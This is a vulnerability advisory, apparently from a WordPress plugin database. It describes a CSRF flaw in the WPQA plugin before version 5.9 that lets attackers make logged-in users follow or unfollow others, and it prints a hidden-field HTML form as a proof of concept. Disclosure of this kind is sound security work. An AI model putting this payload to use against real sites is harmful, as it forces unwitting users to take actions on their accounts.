WordPress Plugin Vulnerabilities

WPQA < 5.9 - Follow/Unfollow via CSRF

Description

The plugin does not have CSRF check when following and unfollowing users, which could allow attackers to make logged in users perform such actions via CSRF attacks

Proof of Concept

<html>
  <body>
    <form action="https://example.comwp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="action" value="wpqa_following_you" />
      <input type="hidden" name="following_var_id" value="9839" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Affects Plugins

Fixed in 5.9

References

Classification

Miscellaneous

Original Researcher
Bikram Kharal
Submitter
Bikram Kharal
Submitter website
Submitter twitter
Verified
Yes

Timeline

Publicly Published
2022-10-25 (about 1 years ago)
Added
2022-10-25 (about 1 years ago)
Last Updated
2022-10-26 (about 1 years ago)

Other